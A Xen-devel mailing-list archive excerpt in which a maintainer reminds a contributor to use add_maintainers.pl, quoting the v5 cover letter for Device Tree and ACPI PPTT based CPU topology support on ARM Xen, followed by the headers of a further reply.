Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=selector1 header.d=arm.com header.i="@arm.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=2; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=pass;
 b=jMZljVfRYSAUADlr7qHd+ifuT3BHljgY4DJ0Dok0luDXyKAw8cZKOnTJXN6LZ9mPJbbYVt8tmpLAcH655b9COv1jdaAADt2SLi2ZxZO8Vz6TWr9ATcoliFMeBAa9TGPzuessBRX6bIunng/IUEASJUvrC3Q/81Ub0k6KmyvJWtyA5axxBrtHsfTMTX3H3JRiaC0z2K2BKWJAvY1hPRFjbYR6aDogTrfKd9tlG4UOoI+Mu/UcbmpMc+zt7l10bdXnqsnrBNDYomI9EsfyB2yzjgH2Nu+rKr/pkEs4b/upzYsOx/woZMgq7bG/Y7WSTQ/o+cGJAzgwMVpyXEGaijcggg==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=jTzFhrv8gduAcYmiYXYTBGeXnAvQCC/fsrEHBrw7Hmw=;
 b=G+2DBXE/80Wy5xBHHOu3RkN+ecb2ZE/Qlm5O+nlUnp2JY9GQ0O2tqLcNIZCud+wo7U5l5dDBNE1bG2zkaw4xbww+MCBBzHWj9ihAS7InPmpnhh87I5gYz+1AlbcPvyh19HgOzTxtjGgnhLaNQNTs9Io1acVeztvh95m+fWZC8YXj7z0aorz3up9JLDLTOzu2ubga9EyY7Cj95IBpKfNAcpsZABBI5QIZiAOnGCyRSCnRLQFopCtrd51Jc62ZFMmN6NGnxWYh9cQ3TpusrPZgvpf49oeJtHR1yy/+bkkSBI1EEStdQ/7VMAYhv/9btXMXqv0bAJMW+nSA41nwaug8VA==
ARC-Authentication-Results: i=2; mx.microsoft.com 1; spf=pass (sender ip is
 4.158.2.129) smtp.rcpttodomain=valinux.co.jp smtp.mailfrom=arm.com;
 dmarc=pass (p=none sp=none pct=100) action=none header.from=arm.com;
 dkim=pass (signature was verified) header.d=arm.com; arc=pass (0 oda=1 ltdi=1
 spf=[1,1,smtp.mailfrom=arm.com] dkim=[1,1,header.d=arm.com]
 dmarc=[1,1,header.from=arm.com])
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=jTzFhrv8gduAcYmiYXYTBGeXnAvQCC/fsrEHBrw7Hmw=;
 b=gDp9yiJP+v1n5BK1vbefhWA0EuJYqbpSZeGi2pBoRe/nzGo8Nt0Wb/9u0oafyXd+V1iQjkk6+W/OjLBtjOIpy5Ci7FVQeJsc+5Gx8lUgeqnBVUfA9MNfbbiBCyPxoHzEW1oiythkwyPIJ7Yf73MhyoRosLtgsycPXdgK+qpmQJE=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 4.158.2.129)
 smtp.mailfrom=arm.com; dkim=pass (signature was verified)
 header.d=arm.com;dmarc=pass action=none header.from=arm.com;
Received-SPF: Pass (protection.outlook.com: domain of arm.com designates
 4.158.2.129 as permitted sender) receiver=protection.outlook.com;
 client-ip=4.158.2.129; helo=outbound-uk1.az.dlp.m.darktrace.com; pr=C
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=JSbEB4wTOfgsHWkSDV1zWSbSdZhTNRcbqkVOU0rKJdSPsR3xq6cjnV9OUceIZuB6ELQfmCGhcqxZc8xrpLVRfDANe5OSVCbqUUpGz20aprVmAKqYp70244e5/LhwqeqGRYFCxRWis9UxH+O21z2GT+0lUURtlCzjmImKcaUQYASqoSsgTr0q48iZ4IPSIkFQEK0wEtXU8kyHMWBroqwaUaF1c3MyGhyPEkPJVNQvF0kBGKrWiAWagpF1i5iA2+hKoM8BA/4TdW0IDCIP/CEB8hChI5Qv4AHZlOdg2Kn9Lee8aOgdKK3rk5Arkz+CAhLMxYltopE6stE0esSUcSJ21g==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=jTzFhrv8gduAcYmiYXYTBGeXnAvQCC/fsrEHBrw7Hmw=;
 b=YrarcwSyLuW11PxdI9fHYQM0pmx1t1fJiqU/0NiLGd4ZajRh05JSSbgZJlykVczwOmWQ/Rhg0Hz+FNcddYJ7FIZmxRbMu5rm1A3YHEVDl/Iv3GaWzqqL1OzLx02KDxGrQpLxL8gWmktfzMZP+h/Zq4IQ2XzTClKNAKsVSZBFqCP95aCzpWzfxm2LwJDN81/pjO693+kbvYXouER62PRXDuHRnxhpMYpf99ERp84PcP8h4q1BTc8P7YwBte6jA7JRb5Vae2cV6hv9PbP+eKEFFlWtSN9jfIGT0aa3kOlnthTF12RMSDUj+Npn3CtuefrR2cImz7zpq4La6cXLLxmCIA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=arm.com; dmarc=pass action=none header.from=arm.com; dkim=pass
 header.d=arm.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=arm.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=jTzFhrv8gduAcYmiYXYTBGeXnAvQCC/fsrEHBrw7Hmw=;
 b=gDp9yiJP+v1n5BK1vbefhWA0EuJYqbpSZeGi2pBoRe/nzGo8Nt0Wb/9u0oafyXd+V1iQjkk6+W/OjLBtjOIpy5Ci7FVQeJsc+5Gx8lUgeqnBVUfA9MNfbbiBCyPxoHzEW1oiythkwyPIJ7Yf73MhyoRosLtgsycPXdgK+qpmQJE=
From: Bertrand Marquis <Bertrand.Marquis@arm.com>
To: Hirokazu Takahashi <taka@valinux.co.jp>
CC: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: Re: [PATCH v5 0/4] xen/arm: Device Tree based CPU topology support
Thread-Topic: [PATCH v5 0/4] xen/arm: Device Tree based CPU topology support
Thread-Index: AQHdD+86KiGaaKUFxUq/ExJkJRYMb7aELDIA
Date: Wed, 29 Jul 2026 06:47:01 +0000
Message-ID: <07327966-7E81-44CA-A1EA-F227C1C9EA51@arm.com>
References: <20260709220552.646462-1-taka@valinux.co.jp>
In-Reply-To: <20260709220552.646462-1-taka@valinux.co.jp>
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
x-mailer: Apple Mail (2.3864.600.51.1.1)
Authentication-Results-Original: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=arm.com;
x-ms-traffictypediagnostic:
	PR3PR08MB5593:EE_|AS2PR08MB8807:EE_|AMS1EPF0000008F:EE_|PAVPR08MB9064:EE_
X-MS-Office365-Filtering-Correlation-Id: 9573ab39-3b38-4eb8-906c-08deed3d59a7
x-checkrecipientrouted: true
nodisclaimer: true
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam-Untrusted:
 BCL:0;ARA:13230040|376014|366016|1800799024|23010399003|29003799003|6133799003|18002099003|22082099003|25016099003|38070700021|11063799006|56012099006|10067099003|3023799007;
X-Microsoft-Antispam-Message-Info-Original:
 jO4Fx9cpQMSaijrxDSYOLZGchpo5k0xpEseJnEN4fD6kRSsoawys8RdglbFSNZwb+3GtV+dFGSOW8a8AR0IyEQTe3SICBGsRyc4DEif2CO74xpAFzoEs5c30Ro9caOQhfxDzsJny/BDj2afKWztKVoIvsbNrrg2l8j2H6XDYT9k10zb5F3DdbkanuwVZBlcxmqN/K8/DdxfrnlcMx63K30Khb9HLPdal97Kn44dS0AjcGtEcK8SU0Mcs2akLDC6rIQ7w6juaz75kiSf06HKeY+dOZw+m7nd34ZEzZrWq1bapBFov+ymC2svcMsNvYDgHEXJNFPlWvkEEu97ZvndLyre9Ir3wLJULLctQHiTSqxS8KZMT2J7ds0jLE9fgFZURZ5pGCAWxtq7XU2VQGBVjq5nVuXr45+zc+Kkfpa4hHQRr2quBqlpYCbEJNgJdj8MWdQcPEr4qP8VkcdSGB0xkISsNAzaBJOSKMQG4hCW6UeRAEXk+Bh6+F3rqY5Ff6Obdgyq9nEB39ibTn5RynZNw/Jl4zKwIyPyJ+WVx0eRbEOxMLxCyZkA+KUYPDS3Vx7bIIMdmYFAxMLN8knnPQDJxJJpMGPUZV3obyu16u+BMazVkoa0iheVzpj+ym2UtkGpw5xcVFCCsJJvPz8CwLpkOgtaLfikHwJmrHBJJR3nIgzw=
X-Forefront-Antispam-Report-Untrusted:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:PR3PR08MB5593.eurprd08.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(366016)(1800799024)(23010399003)(29003799003)(6133799003)(18002099003)(22082099003)(25016099003)(38070700021)(11063799006)(56012099006)(10067099003)(3023799007);DIR:OUT;SFP:1101;
Content-Type: text/plain; charset="us-ascii"
Content-ID: <C759BBB14C4BAE459B5B16EB07D2DF3E@eurprd08.prod.outlook.com>
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-Exchange-RoutingPolicyChecked:
 PcIef/KUorMVh5LzfGE6jGe2tkiH1MlHNYbLgMSZc3ozTuFWuTXQ6gTTL6oV4pdvrS32O5BN3lYECG7Ojtsl9cTZ+dNblQ/CoNPXV2TkRZO2595In60SUpqVkMFBDCTwbXn3dqrRedEevTK1d5ckratIPPqApVNeuIw2afSiu+OnQ54c3hctM7x7MwDaQf3xM5lNzqX72fmAdXz9pT5TtJ3P+BdFa5v9gJzZsjFSDTZYmJqOucU88WZcfNVIT/6pNwxfWJytjyI8tmL6n14Z/5oyqmdkXY6NUeCU3e60Wq/5udXsDQWjVSTP+xz4m5VqDdgTR+nV+TjWOMf1OguLAg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: AS2PR08MB8807
X-EOPAttributedMessage: 0
X-MS-Exchange-Transport-CrossTenantHeadersStripped:
 AMS1EPF0000008F.eurprd05.prod.outlook.com
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id-Prvs:
	db2b21cf-b866-410b-ff0e-08deed3d317e
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|35042699022|1800799024|82310400026|36860700016|14060799003|23010399003|18002099003|22082099003|25016099003|13003099007|6133799003|3023799007|56012099006|11063799006|10067099003|29003799003;
X-Microsoft-Antispam-Message-Info:
	k/NcxnQi59Nx+YnaSiw3Vlt6ieCaAa1bkFs8dQCDu+7t8joMlGEtEB4ybpm8+JUm2gRoDFnNd9SM0lOdIuNJLtR7BarJjTeSwsueKCPvVEWdQh3o5zK0GmKlcJvqHK/dd6jDh0f7rnN8Ikdu9rxa+YCpG+5sa2dQ3AzWlEnULXK2MjR0vKchth/269JBZ1DTRvveJsvh4eieLEPu33p4ErVgiclNjD1HY7GxByCrT00jQ4zFYi2LLZw6AdRn9XhIir2lmdndA6oLqe8ez6EBjJ8lXf+a4xX4Wj6gkT2eozcOE3DynKtDqQfasrsP+q1uzAQzr2oKLxovlfTVVkUzDJiwzaWz3x1b9HcCTRqICGwWcmijN116gKjMfvCQ/BiFGyL3/SIj90mC1yOJQC9WP4By85zOcPrNu2nFU/G1B2yEjKrPHWkb/gRuXMr5xN26bOONwumCPjNWjfkYvZVjdh37JF8+p1ebJfDpZ7ab3P0rQQOPRdPt1SEsmJugPsG4jmy+oL2cKPdW/nHfRU1vBWS2XI+V6rgZsxual1dEhUGRP0koF7+gedf1dqqI3iKXXLT18iEezGO6YPQEWJ1dLUefAvOzy/KKtWIiiYCQKSsCV4JtSMoqn+FyTLQSaLNDCDF17w8+Tt9S0p70Q9rU5Q==
X-Forefront-Antispam-Report:
	CIP:4.158.2.129;CTRY:GB;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:outbound-uk1.az.dlp.m.darktrace.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(35042699022)(1800799024)(82310400026)(36860700016)(14060799003)(23010399003)(18002099003)(22082099003)(25016099003)(13003099007)(6133799003)(3023799007)(56012099006)(11063799006)(10067099003)(29003799003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	me8CiehsEimxJvZZllrF8Wy2XisTXfcF58GGbHYS8yPFQ5cANmYRMPfoALLRQ6q++reyQV/gIhwbY+XoS1Fn5ncaWhAN9ODE4VsPWCTxcQY4M4XOsx5idukAQLj5Z+uf2lq2mFNXvzGcxfxTa6NzpP0pXBnrploQoLES1Ku/V5A+DZMoe4j+/lDJ+S7rMNFB6DQ8w/zc8/kHJ/5nwI5BCuNvZitgbrDECK0ZdX0bpBuMUgtX/8OMsJqXYujK+RaFGu1qBDI3cAfz3vQGGN0TUZvkT36m4KTYPGndNrNYlHGMW2SXqPXMI/Ek209cZc46LfMJFJje3fQTSASBlYvbRclRrebdI07EutHJ66E1D6wSK4AmIlXNl1sfMJ73RgxB0B4wPx3IOD3L7Omn2RXwfR+cE/RnyZgCr7qNb/hlmw/dTpI0UUIZgLWBd8hJ2kKE
X-OriginatorOrg: arm.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 29 Jul 2026 06:48:08.5644
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 9573ab39-3b38-4eb8-906c-08deed3d59a7
X-MS-Exchange-CrossTenant-Id: f34e5979-57d9-4aaa-ad4d-b122a662184d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=f34e5979-57d9-4aaa-ad4d-b122a662184d;Ip=[4.158.2.129];Helo=[outbound-uk1.az.dlp.m.darktrace.com]
X-MS-Exchange-CrossTenant-AuthSource:
	AMS1EPF0000008F.eurprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: PAVPR08MB9064
X-purgate-ID: tlsNG-16d1c6/1785307693-F607177B-65D94B7E/0/0
X-purgate-type: clean
X-purgate-size: 6604

Hi Hirokazu,

Please use the add_maintainers.pl script before sending to make sure the ri=
ght maintainers
are in copy of your patches otherwise some might miss your patches.

https://xen.readthedocs.io/en/latest/contribute-xen/submit-patch.html#step-=
2-use-add-maintainers-pl-or-get-maintainer-pl

Cheers
Bertrand

> On 10 Jul 2026, at 00:05, Hirokazu Takahashi <taka@valinux.co.jp> wrote:
>=20
> Hello,
>=20
> This patch series introduces CPU topology support based on
> Device-Tree and ACPI PPTT for ARM Xen.
>=20
> In v5, I added code to parse the ACPI PPTT and reflect it in the CPU
> topology information.
>=20
> Future Work:
> - Support for the "credit2_runqueue=3Dcluster" option.
> - CPU topology support for RISC-V and PPC (once SMP support is available)=
.
>=20
> Changes in v5:
> - Extracted CPU topology information from the ACPI PPTT.
> - Corrected the erroneous use of CONFIG_CPU_TOPOLOGY to
>   CONFIG_GENERIC_CPU_TOPOLOGY.
>=20
> Changes in v4:
> - Only display the CPU topology configuration prompt in common/Kconfig
>   if the architecture defines HAS_GENERIC_CPU_TOPOLOGY.
> - Move the definition of the global 'cpu_topology' pointer to
>   common/cpu-topology.c.
> - Update the Makefile to explicitly build objects as .init.o when all
>   functions and data within a file are annotated with __init/__initdata,
>   ensuring their memory is reclaimed after system initialization.
> - Add an error log in the CPU-to-node mapping function for out-of-bounds
>   cases.
> - Use ARRAY_SIZE() instead of raw macros when guarding array accesses.
> - Rename variables and functions to avoid ambiguous or misleading terms:
>   - Avoid 'cpuid' to prevent confusion with x86 CPUID features/instructio=
ns.
>   - Avoid 'node' where it could be confused with a NUMA node, explicitly
>     renaming them to clarify they refer to a Device Tree node.
> - Move local variable declarations into the narrowest possible scope.
> - Replace the unsupported "%pOF" printk format specifier with "%s" and
>   explicit node name retrieval.
> - Remove #include <dt-cpu-topology.h> from cpu-topology.h, and ensure
>   the header directly includes only what its definitions require.
> - Remove #include <xen/device_tree.h> from dt-cpu-topology.h, replacing
>   it with a forward declaration of 'struct dt_device_node'.
> - Use 'const' qualifiers for pointer declarations where the pointed-to
>   structure is not modified.
> - Explicitly #include <asm/processor.h> in cpu-topology.h to guarantee
>   that arch-specific definitions of cpu_to_core() and cpu_to_socket()
>   take precedence over the generic fallbacks.
> - Introduce inline initialization functions for cpu_sibling_mask and
>   cpu_core_mask in cpu-topology.h, providing separate variants for both
>   when CONFIG_GENERIC_CPU_TOPOLOGY is enabled and disabled.
>=20
> Changes in v3:
> - Use (nr_cpu_ids - 1) as the maximum CPU ID here. The fix for the sparse
>   map mismatch issue on ARM Xen has been split out into a separate patch.
> - Switch topology sibling masks to cpumask_var_t for dynamic allocation.
> - Allow the system to keep running with a degraded fallback even if
>   the topology table allocation fails.
> - Remove the temporary definitions of cpu_to_core() and cpu_to_socket()
>   from RISC-V and PPC processor.h.
> - Minimize the use of #ifdef blocks, leveraging compiler Dead Code
>   Elimination (DCE) where possible.
> - Clean up the code to follow the Xen coding style. Please let me know
>   if I missed any style nits!
> - Verify successful builds across x86, RISC-V, and PPC environments.
>=20
> Changes in v2:
> - Generate topology information even when ACPI is enabled. Note that
>   this is a temporary implementation and doesn't yet parse the PPTT
>   (Processor Properties Topology Table).
> - Added support for cpu-map node in Device Tree that doesn't contain
>   explicit cluster node definitions.
>=20
> Changes in v1 from the previous series "Introduce Device Tree based NUMA
> support for ARM Xen":
>=20
> 1. Optimized Memory Allocation:
>   The series now allocates only the minimum required memory area to manag=
e
>   the essential data for the CPUs.
>=20
> 2. Flexible Device Tree Parsing:
>   The parsing logic no longer depends on the definition order of the 'cpu=
'
>   nodes and 'cpu-map' nodes in the Device Tree. They can now be read
>   correctly even if their orders do not match.
>=20
> 3. CPU Hotplug Readiness:
>   To support future CPU hotplug, the system assumes that inactive CPUs ar=
e
>   also described in the Device Tree. Xen will pre-load and generate the
>   topology information for these inactive CPUs during the boot phase so
>   it stays available in memory.
>=20
> Thank you,
> Hirokazu Takahashi
>=20
> Hirokazu Takahashi (4):
>  xen/device-tree: Parse 'cpu-map' node for CPU topology exploration
>  xen/sched: Link CPU topology to scheduler
>  xen/sched: Make cpu_nr_siblings() architecture-specific
>  arm/acpi: Parse PPTT to initialize CPU topology
>=20
> xen/arch/arm/Kconfig                   |   1 +
> xen/arch/arm/acpi/boot.c               |   2 +
> xen/arch/arm/include/asm/acpi.h        |   2 +
> xen/arch/arm/include/asm/processor.h   |   4 -
> xen/arch/arm/smpboot.c                 |  15 +-
> xen/arch/ppc/include/asm/processor.h   |   4 -
> xen/arch/riscv/include/asm/processor.h |   4 -
> xen/arch/x86/include/asm/processor.h   |   1 +
> xen/common/Kconfig                     |  15 +
> xen/common/Makefile                    |   1 +
> xen/common/cpu-topology.c              |  62 ++++
> xen/common/device-tree/Makefile        |   1 +
> xen/common/device-tree/cpu-topology.c  | 406 +++++++++++++++++++++++++
> xen/common/sched/credit2.c             |  21 +-
> xen/common/sysctl.c                    |   1 +
> xen/drivers/acpi/Kconfig               |   3 +
> xen/drivers/acpi/Makefile              |   1 +
> xen/drivers/acpi/topology.c            | 255 ++++++++++++++++
> xen/include/acpi/actbl3.h              |  30 ++
> xen/include/xen/acpi.h                 |  18 ++
> xen/include/xen/cpu-topology.h         |  83 +++++
> xen/include/xen/dt-cpu-topology.h      |  29 ++
> 22 files changed, 923 insertions(+), 36 deletions(-)
> create mode 100644 xen/common/cpu-topology.c
> create mode 100644 xen/common/device-tree/cpu-topology.c
> create mode 100644 xen/drivers/acpi/topology.c
> create mode 100644 xen/include/xen/cpu-topology.h
> create mode 100644 xen/include/xen/dt-cpu-topology.h
>=20
> --=20
> 2.43.0
>=20
>=20



From xen-devel-bounces@lists.xenproject.org Wed Jul 29 07:13:06 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 07:13:06 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1375190.1622408 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woyTC-0003Yr-5a; Wed, 29 Jul 2026 07:12:50 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1375190.1622408; Wed, 29 Jul 2026 07:12:50 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woyTC-0003Yk-2w; Wed, 29 Jul 2026 07:12:50 +0000
Received: by outflank-mailman (input) for mailman id 1375190;
 Wed, 29 Jul 2026 07:12:48 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woyTA-0003Ye-BR
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 07:12:48 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woyT9-00GVrT-Jj
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 09:12:47 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a69a7ec-bab6-0a2a0a5309dd-0a2a450bd480-18
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:12:46 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a69a7ee-b7e8-0a2a450b0019-d155dd34d013-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 09:12:46 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-4799b3f7c83so435512f8f.2
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 00:12:46 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4976bd83fabsm35555545e9.15.2026.07.29.00.12.45
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 00:12:45 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785309166; x=1785913966; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=2hL52lnp9gqaLZUAYsO8OIwtkTJek9qYOqyta5glYfo=;
        b=BTEO0kucNwl+UDOC8b8YDEY64lQbwjVJ/5cFzdKlBem3BCPf20qcFasc9nKwEE0aDa
         qrYc4HQPu1lazU7Vv5QgYcSJvi0Pyl+BPT8hctrzO+EEyyk5AgX76FwDsqVqvnKbKjS4
         mW808K6r8X4tljaIaszOWI2UA65sWbjyfRlkFT8VU+8ppGObshxahZAYyPLtS0fSevFa
         41PZYcG1rmHE7xiT9QxxwITn7EaH3j3aqF10ViDNMhxTObv5CJwkY3SS3zf087LNsemt
         HV/OM4zjlE7yFsz13bA18IP3mn1PWUkW80c39SP1QyFZRKXTuX5FZIsoHI9AHnxvH+jz
         CHTw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785309166; x=1785913966;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=2hL52lnp9gqaLZUAYsO8OIwtkTJek9qYOqyta5glYfo=;
        b=j5Ppr6DA+lyy2PJvYbNKfMXhzghLLJ5TWEgJlhNul07FusF/OLziHMsCIz5C/0Ykdp
         UGnpAvWNGXJv8B0cr3InRwU7Vj+9HTumxYhh6UcW91Ux+9HngRkz/m5nNB3zZDH0c0TZ
         ZlcxN8/oCwaPrifih2GTMim3O0bfgc4qIBWejd3Qeaf5kmdfujymhQOtpSWtXtgRbiWJ
         4MkDK7+FAfmYM5Oggzr7PbGfb4phHK5gFtTDmTNeUgUA4vSjSSqUeElm/TXBZpMVs8BO
         ON+NwKUIB9466Gry7esOhHHs3bYSRPj+0XjLNSKHLNEu/IqQWwopzGEclnMHu8pXs4u+
         UI7w==
X-Gm-Message-State: AOJu0YwEYxpqi3wlx4d1SJKTENHH/N1Rc7RciZzROrRCj4J/l0LB9FFC
	5OHYUr5EC3F2+nHLCt0E5CiSS5Jofc56dOy0sA5TIakL4Q+JA5HxE5/mKxLtmr9zSg==
X-Gm-Gg: AR+sD11UpQU+Gpc4D605weB0q6c8yeBvFT8a90OhPqskCMGC/ZOvmjzDQhX13kYYl3y
	4qbvFpBBdZWOrmXwz7dJW7bkdz9XaZPYyTQ4f1ArjoNbyoQ9KxQjSaD3+ItS1wogiJI8sEeHTaT
	fwj0icEihUpjNeopELIyFkvR1/VKS80hShfwPxBKhII1OeW7nkoVe1Vt2+eChB0UQogkQSqVCrk
	QQ1loO/cDAa+Ee5OiwF3jzAxAdTxBbswBjR5EJw+h2lGFZiFTh33laZ9tipA7NjTlSl3KiGrYDP
	GYOUynNmDGGeL/4VE2un1XXvc76bkzLaZmyw1Qm24xVYwlBuvngXfxQjM4HBWqEuBStHgP8iFLa
	SYQJge/Vw/sI9H1Nl0UlnfnLXqGp3RkyhZuUVjpdM6wJni9RDdZIjSEktM56aBfjctQANicAY3G
	5ua5cMyExC9h2OkYm0ixHCopbLRtn7EYrzrqC/37GRrX5WzL4kUD8/cKzU/lI6IzbDqH1mqI7rE
	qvsdiLc2lHpdXu5WtINUyZqttZbXRxgjxCsRuX/BfMr+Ep0A9lUs1TGD7fjrZA=
X-Received: by 2002:a05:600c:4744:b0:495:4c74:6a14 with SMTP id 5b1f17b1804b1-496c6438e91mr58230785e9.14.1785309166340;
        Wed, 29 Jul 2026 00:12:46 -0700 (PDT)
Message-ID: <bb802772-c960-4c9d-bd90-78979d7c7fc4@suse.com>
Date: Wed, 29 Jul 2026 09:12:45 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 0/4] xen/arm: Device Tree based CPU topology support
To: Bertrand Marquis <Bertrand.Marquis@arm.com>
Cc: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>,
 Hirokazu Takahashi <taka@valinux.co.jp>
References: <20260709220552.646462-1-taka@valinux.co.jp>
 <07327966-7E81-44CA-A1EA-F227C1C9EA51@arm.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTV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VdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <07327966-7E81-44CA-A1EA-F227C1C9EA51@arm.com>
